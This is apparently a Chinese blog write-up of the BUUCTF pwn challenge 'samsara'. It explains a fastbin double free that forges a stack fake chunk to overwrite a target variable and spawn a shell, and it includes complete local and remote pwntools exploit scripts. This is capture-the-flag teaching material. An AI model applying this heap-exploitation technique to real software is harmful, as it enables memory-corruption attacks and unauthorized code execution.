pwn刷题num46----fast bin double free (控制free chunk的fd指针指向,栈上伪造的fake chunk,修改栈上变量值)

36 篇文章 0 订阅
18 篇文章 1 订阅

BUUCTF-PWN-metasequoia_2020_samsara

在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

在这里插入图片描述

保护全开
动态链接

在这里插入图片描述
在这里插入图片描述
英文意思

打败魔龙后,你变成了魔龙……
 1. 抓捕一个人 
 2. 吃掉一个人
 3. 煮一个人 
 4.  找到你的巢穴 
 5. 转移到另一个王国 
 6. 自杀

ida看一下伪代码
主函数
在这里插入图片描述

在这里插入图片描述

还有一个菜单函数
在这里插入图片描述
观察分析main函数,switch里case1每次申请chunk大小为0x20(mem为0x10),
case6只要满足了target=0xDEADBEEF,就可以获得shell
看一下栈区
在这里插入图片描述

思路

switch里case2里free掉chunk后,未把指针置空
case3可以编辑chunk的mem内容,如果是free后的chunk,就可以编辑该chunk的fd指针指向
case4可以输出lair地址,而case5可以修改lair的地址,所以可以用case4和case5泄露任意地址的地址
可以先申请三个chunk,(前两个chunk用来double free,第三个chunk用来防止free掉前两个chunk与top chunk合并),然后释放前两个chunk,把第一个chunk释放两次,造成double free,然后可以控制free掉的第一个chunk,之后在栈上构造fake chunk,利用case4修改lair值为0x20(作为fake chunk的size)(与前面的chunk大小相同),再根据lair在栈上位置与target相差8字节,所以将&lair-8作为fake chunk的chunk指针,之后利用switch中的case3编辑free掉的第一个chunk,使它的fd指针指向fake chunk的chunk指针(&lair-8),然后申请chunk(第一个chunk),再次申请chunk(fake chunk),之后用switch里的case5,修改mem(target)为0xDEADBEEF即可调用system函数,获得shell

exp本地调试

from pwn import  *
context(os='linux',endian='little',log_level='debug',arch='amd64') 
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
binary = './samsara' 
elf = ELF(binary)
#sh = remote('node4.buuoj.cn',28614)  
sh = process(binary)


def dbg():
	gdb.attachsh)
	pause()

 
def add():
	sh.sendlineafter('> ','1')

def delete(index):
	sh.sendlineafter('> ','2')
	sh.sendlineafter(':\n',str(index))

def edit(index,content):
	sh.sendlineafter('> ','3')
	sh.sendlineafter(':\n',str(index))
	sh.sendlineafter(':\n',content)

def show():
	sh.sendlineafter('> ','4')
	sh.recvuntil('0x')  
	return int(sh.recvuntil('\n'),16)

def move(dest):
	sh.sendlineafter('> ','5')
	sh.sendlineafter('?\n', str(dest))

add() # 申请第0个chunk
add() # 申请第1个chunk
add() # 申请第2个chunk
 
delete(0)  #free 第0个chunk
delete(1)	#free 第1个chunk

dbg() #第一个断点

delete(0)	#free 第0个chunk造成double free

dbg()#第2个断点

add() # 申请第3个chunk ==  第0个chunk
add() #  申请第4个chunk ==  第1个chunk


move(0x20)	#修改lair值为0x20(作为fake chunk的size)(与前面的chunk大小相同)
fake = show()-8 #将&lair-8作为fake chunk的chunk指针


edit(3,fake) #编辑free掉的第一个chunk,使它的fd指针指向fake chunk的chunk指针(&lair-8)
dbg()#第3个断点
add() # 申请第5个chunk == 第0个chunk
add() # 申请第6个chunk (mem内容为target)

dbg()#第4个断点

edit(6,0xdeadbeef) #修改mem(target)为0xDEADBEEF

dbg()#第5个断点
sh.sendlineafter('> ','6') #退出程序

sh.interactive()

运行
在这里插入图片描述
在这里插入图片描述

第一个断点处,可以看到fast bin里已经存了两个chunk,从左到右为第2个chunk和第1个chunk
在这里插入图片描述

第2个断点处,可以看到已经造成doubel free
在这里插入图片描述

第3个断点处,可以看到fast bin里chunk0指针指向了0x7ffe651ac6a0(fake chunk)
在这里插入图片描述

第4个断点处,可以看到fast bin里已经没有chunk了
在这里插入图片描述

第5个断点处,可以看到target已经被修改为了0xDEADBEEF

exp远程

from pwn import  *
context(os='linux',endian='little',log_level='debug',arch='amd64') 
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
binary = './samsara' 
elf = ELF(binary)
sh = remote('node4.buuoj.cn',28614)  
#sh = process(binary)
 
def dbg():
	gdb.attach(sh)
	pause()

 
def add():
	sh.sendlineafter('> ','1')

def delete(index):
	sh.sendlineafter('> ','2')
	sh.sendlineafter(':\n',str(index))

def edit(index,content):
	sh.sendlineafter('> ','3')
	sh.sendlineafter(':\n',str(index))
	sh.sendlineafter(':\n',str(content))

def show():
	sh.sendlineafter('> ','4')
	sh.recvuntil('0x')  
	return int(sh.recvuntil('\n'),16)

def move(dest):
	sh.sendlineafter('> ','5')
	sh.sendlineafter('?\n', str(dest))

add() # 申请第0个chunk
add() # 申请第1个chunk
add() # 申请第2个chunk
 
delete(0)  #free 第0个chunk
delete(1)	#free 第1个chunk

  
delete(0)	#free 第0个chunk造成double free
 
add() # 申请第3个chunk ==  第0个chunk
add() #  申请第4个chunk ==  第1个chunk
 
move(0x20)	#修改lair值为0x20(作为fake chunk的size)(与前面的chunk大小相同)
fake = show()-8 #将&lair-8作为fake chunk的chunk指针

edit(3,fake) #编辑free掉的第一个chunk,使它的fd指针指向fake chunk的chunk指针(&lair-8)
 
add() # 申请第5个chunk == 第0个chunk
add() # 申请第6个chunk (mem内容为target)
 
edit(6,0xdeadbeef) #修改mem(target)为0xDEADBEEF
 
sh.sendlineafter('> ','6') #退出程序

sh.interactive()

运行获得flag
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值